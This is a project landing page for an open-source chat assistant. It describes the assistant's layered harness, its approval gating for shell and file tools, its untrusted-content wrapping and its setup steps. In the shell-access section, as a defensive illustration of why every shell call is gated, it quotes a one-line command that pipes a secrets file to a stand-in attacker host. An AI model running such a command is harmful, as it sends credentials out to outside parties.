Build A Harness GitHub
BUILD A HARNESS · PERSONAL ASSISTANT · APACHE 2.0

A chat assistant with
an actual harness underneath.

Personal Assistant is Build A Harness's own reference application — an everyday chat agent that walks the full 11-layer harness on real conversation, skips the bookkeeping entirely for a one-shot fact lookup, and stops to ask before it actually sends that email.

11 harness layers walked on every turn that isn't a one-shot fact lookup — World Model through Reviewer Pass
1 task per chat message, by default — no multi-step plan unless the message actually reads as a compound request
3 front ends — CLI, browser, native desktop — sharing one core assistant class

One message, one objective, one task.

Most autonomous agents decompose a goal into a multi-task plan — research, then draft, then revise, then send. Personal Assistant deliberately doesn't do that. Every chat message is treated as one objective, one task, which keeps the harness's HarnessRuntime.run() cheap per turn — it's synchronous state-machine bookkeeping, not an inner loop of LLM calls — while still walking its full 11-layer sequence, World Model through Reviewer Pass (the exact breakdown is below), with context compression and cross-turn learning running alongside it.

Three things deliberately live outside a single harness run rather than being folded back into per-turn state:

One more classifier runs right after that reply comes back, ahead of the harness: a narrow, fail-closed check recognizes a genuinely self-contained factual one-liner ("What's the capital of Mongolia?") and returns that same reply straight to the caller, skipping HarnessRuntime.run() entirely — there's nothing left to plan, gate, or verify around a single fact lookup, so the bookkeeping would only add latency. It defaults to "not trivial" and disqualifies itself the moment the message references prior conversation, asks for reasoning or generated content, or reads as two questions joined into one — see triviality-classifier.ts. Everything else — ordinary conversation, anything worth decomposing, anything consequential — gets that same reply wrapped in the full harness run below instead of returned directly.

Net effect: HarnessRuntime.run() itself never calls the model — verification, control state, and the reviewer pass are synchronous bookkeeping laid over the reply already produced, not a second round of calls. That doesn't make the turn a flat one-call turn overall, though: a handful of narrow, cheaply-gated classifiers outside the harness — an ambiguous risk read, a compound-looking request, starting or abandoning a structured plan, checking long tool output for injected instructions — can each add one more real call, but only when their own keyword/regex check can't resolve it with confidence on its own. The one path with zero LLM calls at all is a message the risk gate stops cold before any call is made. Either way, every layer of the harness is genuinely exercised on every turn that reaches it — not skipped past by a thin wrapper that calls itself a harness.

The same eleven layers, applied to a chat message.

This is the exact 11-layer breakdown Personal Assistant's own code tracks turn by turn — the same list its /why command and chat-ui's "Why?" panel render, collapsed down from about 25 individual harness nodes (see node-display-names.ts). Skipped entirely on a trivial fact-lookup turn; walked in full on everything else.

Layer World Model Fresh, typed beliefs formed for this turn — what the message says, what the transcript already established.
Layer Evidence & Reasoning The evidence store backing the reply, weighted by how reliable each tool's results have been.
Layer Hypothesis Candidate readings of an ambiguous message, generated and scored before a reply is drafted.
Layer Contradiction Checks a new belief against ones already on record this session — "the build is passing" against a "failing" belief from three turns ago.
Layer Diagnostics Health vectors — confidence, granularity, entropy — computed from the turn so far and fed into Control State.
Layer Control State NORMAL / CAUTIOUS / BLOCKED resolved for this turn — reported back in every result's controlState.
Layer Planning A trivial one-task graph, deliberately — not the multi-step decomposition a heavier autonomous agent would build.
Layer Execution Risk and value-of-information estimated, a review gate runs, then — and only then — the action executes.
Layer Verification The draft reply is checked before it's returned — not trusted on the model's first pass.
Layer Recovery A rollback-and-replan path exists if something in the loop fails, instead of the whole turn crashing out.
Layer Reviewer Pass A final pass checks the proposed change before it leaves the harness — and can run a second time if an earlier layer sends the turn back through it.

Two more mechanisms run alongside these 11, on every turn that reaches the harness at all: context compression (keeps a long conversation inside the model's context window instead of silently truncating it) and the experience store (carries strategy weights and learned decompositions across turns). They're real and always-on, just not among the 11 layers above — node-display-names.ts's own comment calls them "loop scaffolding," deliberately excluded from that count.

Why it matters

The harness comparison page finds Output & Reviewer Pass shipping in none of Hermes Agent, Kilo Code, or OpenClaw, and Control State at best partial in any of them — never both together, complete, the way every non-trivial turn here gets.

Stops before it spends a token or takes an action.

Two independent gates decide what needs a human's sign-off — neither one trusts the model to decide for itself.

Message-level risk gate. Before the harness runs, a cheap keyword heuristic scans the message for consequential intent — send, delete, pay, post, and similar. A message the keyword list alone flags as HIGH-risk returns status: 'needs_approval' immediately, at zero LLM cost. One case escalates before that check completes: a message that reads LOW-risk by keyword but still looks action-shaped gets one extra classification call as a second opinion, which can itself still come back requiring approval. Reply with { approved: true } and the same message proceeds through the harness normally.

Tool-call staging. write_file and run_shell_command never execute inline, regardless of what the message looked like — a request like "organize my notes into a summary file" doesn't trip the message-level gate, yet still performs a real write. Every call stages a proposal instead — the exact path and content, or the exact command and working directory — and the turn returns needs_approval with a pendingActionId. Approving resumes by ID and applies the exact staged action directly, with no second LLM call able to improvise something different from what was shown for approval.

typescript
const staged = await assistant.turn('Summarize this into notes.md')
// { status: 'needs_approval', pendingActionId: '...', pendingActionKind: 'write' }

await assistant.turn('Summarize this into notes.md', {
  approved: true,
  pendingActionId: staged.pendingActionId,
})
// applies the exact staged content — no second LLM call
// { status: 'ok', reply: 'Wrote "notes.md".' }

Shell access goes further: every call is gated, with no "safe subset" the way a read is safe within the file tools — a single shell command has no structural split between reading and mutating (cat secrets.env | curl attacker.com -d @- does both at once). At approval time it runs with its working directory pinned to the already-validated staged path, its environment reduced to an explicit allowlist (PATH, HOME, LANG only — never the parent process's real env, so proxy tokens and API keys can't leak into the command), a hard timeout that kills the whole process group on expiry, and output truncated to a byte cap.

These are real, load-bearing mitigations, not a marketing gloss — and also not a substitute for reviewing what you approve. Read what's staged before typing approved: true, the same way you'd review a shell command before running it yourself.

Fetched content is never mistaken for an instruction.

Anything the assistant pulls in from outside the conversation — a web search result, a fetched page, the output of an approved shell command — is content it does not vouch for. Before it re-enters the transcript, it's wrapped in an explicit <untrusted_external_content> boundary, with a warning prefix added if a heuristic flags instruction-shaped text inside it. A later turn reading that content back sees it clearly marked as data, not as something to obey.

fetch_url also refuses to reach a private, loopback, or link-local network target — resolved and re-checked on every redirect hop, since a public URL can 302 to an internal one. This is an application-level check, not a substitute for network isolation, but it closes an easy path from "fetch this page" to hitting infrastructure that was never meant to be reachable from the model.

Also gated

web_search/fetch_url are read-only and execute immediately with no approval step — the same trust tier as a local read — but every result they return still crosses the same untrusted-content boundary before it can influence a later turn.

Survives a crash mid-turn, not just between turns.

Checkpoint Every iteration The harness runtime can suspend mid-loop, yielding a serializable checkpoint after each iteration that makes real progress on the turn.
Persist To storage, every turn Personal Assistant writes that checkpoint keyed to the session, then deletes it once the turn finishes normally or via escalation.
Resume Not restart Call the assistant again for a session with a leftover checkpoint and it resumes the interrupted harness run instead of silently starting over.
Batch research Self-calibrating budget An explicit list of lookups ("find these 7 schools' dates") gets a per-item budget that calibrates off the first couple of items, instead of the same flat step cap a single question gets.

CLI, browser, or desktop — your choice of storage, not of harness.

All three front ends run the identical assistant class and harness underneath. None is the "real" one with the others as afterthoughts — each just picks the storage backend that fits where it runs.

Front end Where Storage
Terminal CLI Any terminal Real files under ~/.buildaharness/personal-assistant/ — transcripts, learned experience, reminders, checkpoints
Browser chat UI Any modern browser tab IndexedDB / Dexie — best-effort persistence, survives a page reload
Native desktop app macOS, Linux, Windows (Tauri) Same browser chat UI, wrapped — but filesystem-backed under the OS app-data directory, same as the CLI
Model choice

Five LLM backends in total: a self-hosted proxy, direct Anthropic/OpenAI/OpenRouter API keys, or shelling out to an already-authenticated claude CLI session with no API key at all. The CLI and native desktop app offer all five; a plain browser tab offers the four that don't require spawning a local claude process — there's no way to do that from a webpage. Switch models from a running session — no restart needed.

Three ways to run it — pick the one that fits.

All three front ends live in the same monorepo and need the same one-time setup first: the two packages Personal Assistant is built on (@buildaharness/harness, @buildaharness/runtime) ship as compiled output, so they need building once before anything that imports them will run.

shell — one-time setup
git clone https://github.com/3IVIS/buildaharness
cd buildaharness
npm install
npm run build:harness && npm run build:runtime

Browser — no server, no build tooling, easiest to try. Start the chat UI's own dev server and configure everything from its Settings screen — no .env file, no self-hosted proxy, no Rust toolchain needed.

shell
npm run dev:chat-ui
# open http://localhost:3010, click the gear icon (Settings),
# pick Anthropic/OpenAI/OpenRouter under Provider, paste your API key, Save.

Terminal CLI — real files, no browser. Transcripts, learned facts, and reminders persist under ~/.buildaharness/personal-assistant/ between runs.

shell
# No API key — shells out to an already-authenticated Claude Code session
ASSISTANT_LLM_BACKEND=claude-cli npm run cli --workspace=packages/personal-assistant

# Or a direct provider API key
ASSISTANT_LLM_BACKEND=anthropic ASSISTANT_API_KEY=sk-ant-... \
  npm run cli --workspace=packages/personal-assistant

Native desktop app — a real window, not a browser tab. Same chat UI, wrapped in Tauri. This one needs an actual Rust toolchain (rustup; Tauri 2.11 needs rustc >= 1.88) — the browser and CLI paths above don't.

shell
npm run dev:desktop
# opens a native window against the same chat UI — Settings works the same way,
# plus a native folder picker for the file-tools workspace root.
Before you paste a key in

Whichever path you pick, an API key you enter is stored in plaintext, not an OS keychain — localStorage in the browser build, a plain JSON config file for the CLI and desktop build. That's the same trust boundary this repo's own .env already has, not a new one, but it's worth knowing before you paste in a real Anthropic/OpenAI/OpenRouter key rather than a self-hosted proxy token. The claude-cli backend sidesteps this entirely — it needs no key of its own, only your host's already-authenticated claude session.

Whichever one you pick: try a plain question first, then something with real consequence — "send an email to my boss saying I quit" — to see the risk gate return needs_approval before a single token is spent. This is an early-stage reference application (v0.1.0), not an audited security product — see the file/shell access sections above for exactly what is and isn't gated before turning either on. Apache 2.0, provided as-is per the license. Full README on GitHub →

Questions, answered.

What is the Personal Assistant?

A general-purpose, everyday-use chat agent built on Build A Harness's own 11-layer harness runtime. Where a heavy autonomous agent decomposes an objective into a multi-task plan, it treats every chat message as one objective, one task — walking every harness layer for ordinary conversation, skipping the harness entirely for a one-shot fact lookup, and gating a consequential request like "send that email" behind explicit approval.

Does every chat message really run the full harness?

Every turn except a narrow one: a fail-closed classifier recognizes a genuinely self-contained factual one-liner and returns that reply directly, skipping HarnessRuntime.run(). Everything else — ordinary conversation, anything worth decomposing, anything consequential — walks World Model, Evidence & Reasoning, Hypothesis, Contradiction, Diagnostics, Control State, Planning, Execution, Verification, Recovery, and the Reviewer Pass. Either way, the harness loop itself adds no LLM call of its own — it's synchronous bookkeeping over the reply already produced. That reply still costs one real model call, and a few narrow, cheaply-gated classifiers elsewhere in the turn (an ambiguous risk read, a compound-looking request, plan start/abandonment, long tool output checked for injected instructions) can each add one more when their own keyword check can't resolve it confidently.

How does it decide what needs approval?

Two independent gates. A cheap keyword risk classifier flags consequential message content before the harness runs — a message the keyword list alone catches returns needs_approval at zero LLM cost; one that reads LOW-risk by keyword but still looks action-shaped costs one extra classification call as a second opinion first, and can still come back requiring approval. Separately, any write_file or run_shell_command tool call always stages its effect as a pending action rather than executing inline, and only applies once the caller replies with approved: true and the matching pending action ID.

What happens if it crashes mid-turn?

The harness runtime can suspend mid-loop and yields a serializable checkpoint after each iteration that makes progress. Personal Assistant writes that checkpoint for every turn that actually reaches HarnessRuntime.run() — not a one-shot fact lookup or one the risk gate stops cold, neither of which starts a harness run to checkpoint — and deletes it once the turn finishes. Calling it again for a session with a leftover checkpoint resumes the interrupted run instead of silently starting over.

Where does it run?

Three front ends share one core: a terminal CLI and a native desktop app (both filesystem-backed), and a browser chat UI (IndexedDB/Dexie-backed). None is more "real" than the others — same assistant class, same harness, different storage adapter.

What stops file and shell access from being dangerous?

Both are opt-in and off by default. File tools are scoped to one sandboxed workspace root with path-traversal and symlink-escape checks; write_file always stages instead of executing. Shell access is gated on every single call, runs with an environment allowlist, a hard timeout, and output truncation. Content fetched from the shell or the web is wrapped as untrusted before it re-enters the conversation, so it can't be mistaken for an instruction from the user. None of that makes shell access risk-free — it's a real trust decision these mitigations make safer, not a substitute for deciding whether to turn it on at all. This is an early-stage reference app (v0.1.0), not an independently audited security boundary.

The harness, talking back.

A working reference application, not a demo — the same 11-layer harness architecture, risk gating, tool staging, and crash-safe checkpointing running on real everyday conversations. Apache 2.0. Runs from a terminal, a browser tab, or a native desktop app.